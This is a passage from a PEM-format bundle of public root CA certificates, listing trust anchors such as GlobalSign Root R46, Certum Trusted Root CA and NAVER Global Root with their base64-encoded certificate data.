WN0EACyW80OzfpgZdNmcc9kYvkHHNHnZ9GLCQ7mzJ7Aiy/k9UscwR7PJPrhq4ufogXBeQotPJqX+ OsIgbrv4Fo7NDKm0G2x2EOFYeUY+VM6AqFcJNykbmROPDMjWLBz7BegIlT1lRtzuzWniTY+HKE40 Cz7PFNm73bZQmq131BnW2hqIyE4bJ3XYsgjxroMwuREOzYfwhI0Vcnyh78zyiGG69Gm7DIwLdVcE uE4qFC49DxweMqZiNu5m4iK4BUBjECLzMx10coos9TkpoNPnG4CELcU9402x/RpvumUHO1jsQkUm +9jaJXLE9gCxInm943xZYkqcBW89zubWR2OZxiRvchLIrH+QtAuRcOi35hYQcRfO3gZPSEF9NUqj ifLJS3tBEW1ntwiYTOURGa5CgNz7kAXU+FDKvuStx8KU1xad5hePrzb7AgMBAAGjQjBAMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFJngGWcNYtt2s9o9uFvo/ULSMQ6HMA4GA1UdDwEB/wQEAwIB BjANBgkqhkiG9w0BAQsFAAOCAgEAmHNw4rDT7TnsTGDZqRKGFx6W0OhUKDtkLSGm+J1WE2pIPU/H PinbbViDVD2HfSMF1OQc3Og4ZYbFdada2zUFvXfeuyk3QAUHw5RSn8pk3fEbK9xGChACMf1KaA0H ZJDmHvUqoai7PF35owgLEQzxPy0QlG/+4jSHg9bP5Rs1bdID4bANqKCqRieCNqcVtgimQlRXtpla 4gt5kNdXElE1GYhBaCXUNxeEFfsBctyV3lImIJgm4nb1J2/6ADtKYdkNy1GTKv0WBpanI5ojSP5R vbbEsLFUzt5sQa0WZ37b/TjNuThOssFgy50X31ieemKyJo90lZvkWx3SD92YHJtZuSPTMaCm/zjd zyBP6VhWOmfD0faZmZ26NraAL4hHT4a/RDqA5Dccprrql5gR0IRiR2Qequ5AvzSxnI9O4fKSTx+O 856X3vOmeWqJcU9LJxdI/uz0UA9PSX3MReO9ekDFQdxhVicGaeVyQYHTtgGJoC86cnn+OjC/QezH Yj6RS8fZMXZC+fc8Y+wmjHMMfRod6qh8h6jCJ3zhM0EPz8/8AKAigJ5Kp28AsEFFtyLKaEjFQqKu 3R3y4G5OBVixwJAWKqQ9EEC+j2Jjg6mcgn0tAumDMHzLJ8n9HmYAsC7TIS+OMxZsmO0QqAfWzJPP 29FpHOTKyeC2nOnOcXHebD8WpHk= -----END CERTIFICATE----- Trustwave Global ECC P256 Certification Authority ================================================= -----BEGIN CERTIFICATE----- MIICYDCCAgegAwIBAgIMDWpfCD8oXD5Rld9dMAoGCCqGSM49BAMCMIGRMQswCQYDVQQGEwJVUzER MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1NiBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM1MTBaFw00MjA4MjMxOTM1MTBaMIGRMQswCQYD VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1 NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABH77bOYj 43MyCMpg5lOcunSNGLB4kFKA3TjASh3RqMyTpJcGOMoNFWLGjgEqZZ2q3zSRLoHB5DOSMcT9CTqm P62jQzBBMA8GA1UdEwEB/wQFMAMBAf8wDwYDVR0PAQH/BAUDAwcGADAdBgNVHQ4EFgQUo0EGrJBt 0UrrdaVKEJmzsaGLSvcwCgYIKoZIzj0EAwIDRwAwRAIgB+ZU2g6gWrKuEZ+Hxbb/ad4lvvigtwjz RM4q3wghDDcCIC0mA6AFvWvR9lz4ZcyGbbOcNEhjhAnFjXca4syc4XR7 -----END CERTIFICATE----- Trustwave Global ECC P384 Certification Authority ================================================= -----BEGIN CERTIFICATE----- MIICnTCCAiSgAwIBAgIMCL2Fl2yZJ6SAaEc7MAoGCCqGSM49BAMDMIGRMQswCQYDVQQGEwJVUzER MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4NCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM2NDNaFw00MjA4MjMxOTM2NDNaMIGRMQswCQYD VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4 NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTB2MBAGByqGSM49AgEGBSuBBAAiA2IABGvaDXU1CDFH Ba5FmVXxERMuSvgQMSOjfoPTfygIOiYaOs+Xgh+AtycJj9GOMMQKmw6sWASr9zZ9lCOkmwqKi6vr /TklZvFe/oyujUF5nQlgziip04pt89ZF1PKYhDhloKNDMEEwDwYDVR0TAQH/BAUwAwEB/zAPBgNV HQ8BAf8EBQMDBwYAMB0GA1UdDgQWBBRVqYSJ0sEyvRjLbKYHTsjnnb6CkDAKBggqhkjOPQQDAwNn ADBkAjA3AZKXRRJ+oPM+rRk6ct30UJMDEr5E0k9BpIycnR+j9sKS50gU/k6bpZFXrsY3crsCMGcl CrEMXu6pY5Jv5ZAL/mYiykf9ijH3g/56vxC+GCsej/YpHpRZ744hN8tRmKVuSw== -----END CERTIFICATE----- NAVER Global Root Certification Authority ========================================= -----BEGIN CERTIFICATE----- MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEMBQAwaTELMAkG A1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRGT1JNIENvcnAuMTIwMAYDVQQD DClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4 NDJaFw0zNzA4MTgyMzU5NTlaMGkxCzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVT UyBQTEFURk9STSBDb3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVAiQqrDZBb UGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH38dq6SZeWYp34+hInDEW +j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lEHoSTGEq0n+USZGnQJoViAbbJAh2+g1G7 XNr4rRVqmfeSVPc0W+m/6imBEtRTkZazkVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2 aacp+yPOiNgSnABIqKYPszuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4 Yb8ObtoqvC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHfnZ3z VHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaGYQ5fG8Ir4ozVu53B A0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo0es+nPxdGoMuK8u180SdOqcXYZai cdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3aCJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejy YhbLgGvtPe31HzClrkvJE+2KAQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNV HQ4EFgQU0p+I36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoNqo0hV4/GPnrK 21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatjcu3cvuzHV+YwIHHW1xDBE1UB jCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bx hYTeodoS76TiEJd6eN4MUZeoIUCLhr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTg E34h5prCy8VCZLQelHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTH D8z7p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8piKCk5XQ A76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLRLBT/DShycpWbXgnbiUSY qqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oG I/hGoiLtk/bdmuYqh7GYVPEi92tF4+KOdh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmg kpzNNIaRkPpkUZ3+/uul9XXeifdy -----END CERTIFICATE----- AC RAIZ FNMT-RCM SERVIDORES SEGUROS =================================== -----BEGIN CERTIFICATE----- MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQswCQYDVQQGEwJF UzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgwFgYDVQRhDA9WQVRFUy1RMjgy NjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1SQ00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4 MTIyMDA5MzczM1oXDTQzMTIyMDA5MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQt UkNNMQ4wDAYDVQQLDAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNB QyBSQUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuBBAAiA2IA BPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LHsbI6GA60XYyzZl2hNPk2 LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oKUm8BA06Oi6NCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqG SM49BAMDA2kAMGYCMQCuSuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoD zBOQn5ICMQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJyv+c= -----END CERTIFICATE----- GlobalSign Root R46 =================== -----BEGIN CERTIFICATE----- MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUAMEYxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJv b3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAX BgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIi MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08Es CVeJOaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQGvGIFAha/ r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud316HCkD7rRlr+/fKYIje 2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo0q3v84RLHIf8E6M6cqJaESvWJ3En7YEt bWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSEy132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvj K8Cd+RTyG/FWaha/LIWFzXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD4 12lPFzYE+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCNI/on ccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzsx2sZy/N78CsHpdls eVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqaByFrgY/bxFn63iLABJzjqls2k+g9 vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYD VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEM BQADggIBAHx47PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti2kM3S+LGteWy gxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIkpnnpHs6i58FZFZ8d4kuaPp92 CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRFFRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZm OUdkLG5NrmJ7v2B0GbhWrJKsFjLtrWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qq JZ4d16GLuc1CLgSkZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwye qiv5u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP4vkYxboz nxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6N3ec592kD3ZDZopD8p/7 DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3vouXsXgxT7PntgMTzlSdriVZzH81Xwj3 QEUxeCp6 -----END CERTIFICATE----- GlobalSign Root E46 =================== -----BEGIN CERTIFICATE----- MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYxCzAJBgNVBAYT AkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJvb3Qg RTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNV BAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkB jtjqR+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGddyXqBPCCj QjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQxCpCPtsad0kRL gLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZk vLtoURMMA/cVi4RguYv/Uo7njLwcAjA8+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+ CAezNIm8BZ/3Hobui3A= -----END CERTIFICATE----- GLOBALTRUST 2020 ================ -----BEGIN CERTIFICATE----- MIIFgjCCA2qgAwIBAgILWku9WvtPilv6ZeUwDQYJKoZIhvcNAQELBQAwTTELMAkGA1UEBhMCQVQx IzAhBgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVT VCAyMDIwMB4XDTIwMDIxMDAwMDAwMFoXDTQwMDYxMDAwMDAwMFowTTELMAkGA1UEBhMCQVQxIzAh BgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVTVCAy MDIwMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAri5WrRsc7/aVj6B3GyvTY4+ETUWi D59bRatZe1E0+eyLinjF3WuvvcTfk0Uev5E4C64OFudBc/jbu9G4UeDLgztzOG53ig9ZYybNpyrO VPu44sB8R85gfD+yc/LAGbaKkoc1DZAoouQVBGM+uq/ufF7MpotQsjj3QWPKzv9pj2gOlTblzLmM CcpL3TGQlsjMH/1WljTbjhzqLL6FLmPdqqmV0/0plRPwyJiT2S0WR5ARg6I6IqIoV6Lr/sCMKKCm fecqQjuCgGOlYx8ZzHyyZqjC0203b+J+BlHZRYQfEs4kUmSFC0iAToexIiIwquuuvuAC4EDosEKA A1GqtH6qRNdDYfOiaxaJSaSjpCuKAsR49GiKweR6NrFvG5Ybd0mN1MkGco/PU+PcF4UgStyYJ9OR JitHHmkHr96i5OTUawuzXnzUJIBHKWk7buis/UDr2O1xcSvy6Fgd60GXIsUf1DnQJ4+H4xj04KlG DfV0OoIu0G4skaMxXDtG6nsEEFZegB31pWXogvziB4xiRfUg3kZwhqG8k9MedKZssCz3AwyIDMvU clOGvGBG85hqwvG/Q/lwIHfKN0F5VVJjjVsSn8VoxIidrPIwq7ejMZdnrY8XD2zHc+0klGvIg5rQ mjdJBKuxFshsSUktq6HQjJLyQUp5ISXbY9e2nKd+Qmn7OmMCAwEAAaNjMGEwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFNwuH9FhN3nkq9XVsxJxaD1qaJwiMB8GA1Ud IwQYMBaAFNwuH9FhN3nkq9XVsxJxaD1qaJwiMA0GCSqGSIb3DQEBCwUAA4ICAQCR8EICaEDuw2jA VC/f7GLDw56KoDEoqoOOpFaWEhCGVrqXctJUMHytGdUdaG/7FELYjQ7ztdGl4wJCXtzoRlgHNQIw 4Lx0SsFDKv/bGtCwr2zD/cuz9X9tAy5ZVp0tLTWMstZDFyySCstd6IwPS3BD0IL/qMy/pJTAvoe9 iuOTe8aPmxadJ2W8esVCgmxcB9CpwYhgROmYhRZf+I/KARDOJcP5YBugxZfD0yyIMaK9MOzQ0MAS 8cE54+X1+NZK3TTN+2/BT+MAi1bikvcoskJ3ciNnxz8RFbLEAwW+uxF7Cr+obuf/WEPPm2eggAe2 HcqtbepBEX4tdJP7wry+UUTF72glJ4DjyKDUEuzZpTcdN3y0kcra1LGWge9oXHYQSa9+pTeAsRxS vTOBTI/53WXZFM2KJVj04sWDpQmQ1GwUY7VA3+vA/MRYfg0UFodUJ25W5HCEuGwyEn6CMUO+1918 oa2u1qsgEu8KwxCMSZY13At1XrFP1U80DhEgB3VDRemjEdqso5nCtnkn4rnvyOL2NSl6dPrFf4IF YqYK6miyeUcGbvJXqBUzxvd4Sj1Ce2t+/vdG6tHrju+IaFvowdlxfv1k7/9nR4hYJS8+hge9+6jl gqispdNpQ80xiEmEU5LAsTkbOYMBMMTyqfrQA71yN2BWHzZ8vTmR9W0Nv3vXkg== -----END CERTIFICATE----- ANF Secure Server Root CA ========================= -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Certum EC-384 CA ================ -----BEGIN CERTIFICATE----- MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQswCQYDVQQGEwJQ TDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2Vy dGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2 MDcyNDU0WhcNNDMwMzI2MDcyNDU0WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERh dGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx GTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATEKI6rGFtq vm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7TmFy8as10CW4kjPMIRBSqn iBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68KjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFI0GZnQkdjrzife81r1HfS+8EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNo ADBlAjADVS2m5hjEfO/JUG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0 QoSZ/6vnnvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k= -----END CERTIFICATE----- Certum Trusted Root CA ====================== -----BEGIN CERTIFICATE----- MIIFwDCCA6igAwIBAgIQHr9ZULjJgDdMBvfrVU+17TANBgkqhkiG9w0BAQ0FADB6MQswCQYDVQQG EwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0g Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0Ew HhcNMTgwMzE2MTIxMDEzWhcNNDMwMzE2MTIxMDEzWjB6MQswCQYDVQQGEwJQTDEhMB8GA1UEChMY QXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEB AQUAA4ICDwAwggIKAoICAQDRLY67tzbqbTeRn06TpwXkKQMlzhyC93yZn0EGze2jusDbCSzBfN8p fktlL5On1AFrAygYo9idBcEq2EXxkd7fO9CAAozPOA/qp1x4EaTByIVcJdPTsuclzxFUl6s1wB52 HO8AU5853BSlLCIls3Jy/I2z5T4IHhQqNwuIPMqw9MjCoa68wb4pZ1Xi/K1ZXP69VyywkI3C7Te2 fJmItdUDmj0VDT06qKhF8JVOJVkdzZhpu9PMMsmN74H+rX2Ju7pgE8pllWeg8xn2A1bUatMn4qGt g/BKEiJ3HAVz4hlxQsDsdUaakFjgao4rpUYwBI4Zshfjvqm6f1bxJAPXsiEodg42MEx51UGamqi4 NboMOvJEGyCI98Ul1z3G4z5D3Yf+xOr1Uz5MZf87Sst4WmsXXw3Hw09Omiqi7VdNIuJGmj8PkTQk fVXjjJU30xrwCSss0smNtA0Aq2cpKNgB9RkEth2+dv5yXMSFytKAQd8FqKPVhJBPC/PgP5sZ0jeJ P/J7UhyM9uH3PAeXjA6iWYEMspA90+NZRu0PqafegGtaqge2Gcu8V/OXIXoMsSt0Puvap2ctTMSY njYJdmZm/Bo/6khUHL4wvYBQv3y1zgD2DGHZ5yQD4OMBgQ692IU0iL2yNqh7XAjlRICMb/gv1SHK HRzQ+8S1h9E6Tsd2tTVItQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSM+xx1 vALTn04uSNn5YFSqxLNP+jAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQENBQADggIBAEii1QAL LtA/vBzVtVRJHlpr9OTy4EA34MwUe7nJ+jW1dReTagVphZzNTxl4WxmB82M+w85bj/UvXgF2Ez8s ALnNllI5SW0ETsXpD4YN4fqzX4IS8TrOZgYkNCvozMrnadyHncI013nR03e4qllY/p0m+jiGPp2K h2RX5Rc64vmNueMzeMGQ2Ljdt4NR5MTMI9UGfOZR0800McD2RrsLrfw9EAUqO0qRJe6M1ISHgCq8 CYyqOhNf6DR5UMEQGfnTKB7U0VEwKbOukGfWHwpjscWpxkIxYxeU72nLL/qMFH3EQxiJ2fAyQOaA 4kZf5ePBAFmo+eggvIksDkc0C+pXwlM2/KfUrzHN/gLldfq5Jwn58/U7yn2fqSLLiMmq0Uc9Nneo WWRrJ8/vJ8HjJLWG965+Mk2weWjROeiQWMODvA8s1pfrzgzhIMfatz7DP78v3DSk+yshzWePS/Tj 6tQ/50+6uaWTRRxmHyH6ZF5v4HaUMst19W7l9o/HuKTMqJZ9ZPskWkoDbGs4xugDQ5r3V7mzKWmT OPQD8rv7gmsHINFSH5pkAnuYZttcTVoP0ISVoDwUQwbKytu4QTbaakRnh6+v40URFWkIsr4WOZck bxJF0WddCajJFdr60qZfE2Efv4WstK2tBZQIgx51F9NxO5NQI1mg7TyRVJ12AMXDuDjb -----END CERTIFICATE----- TunTrust Root CA ================ -----BEGIN CERTIFICATE----- 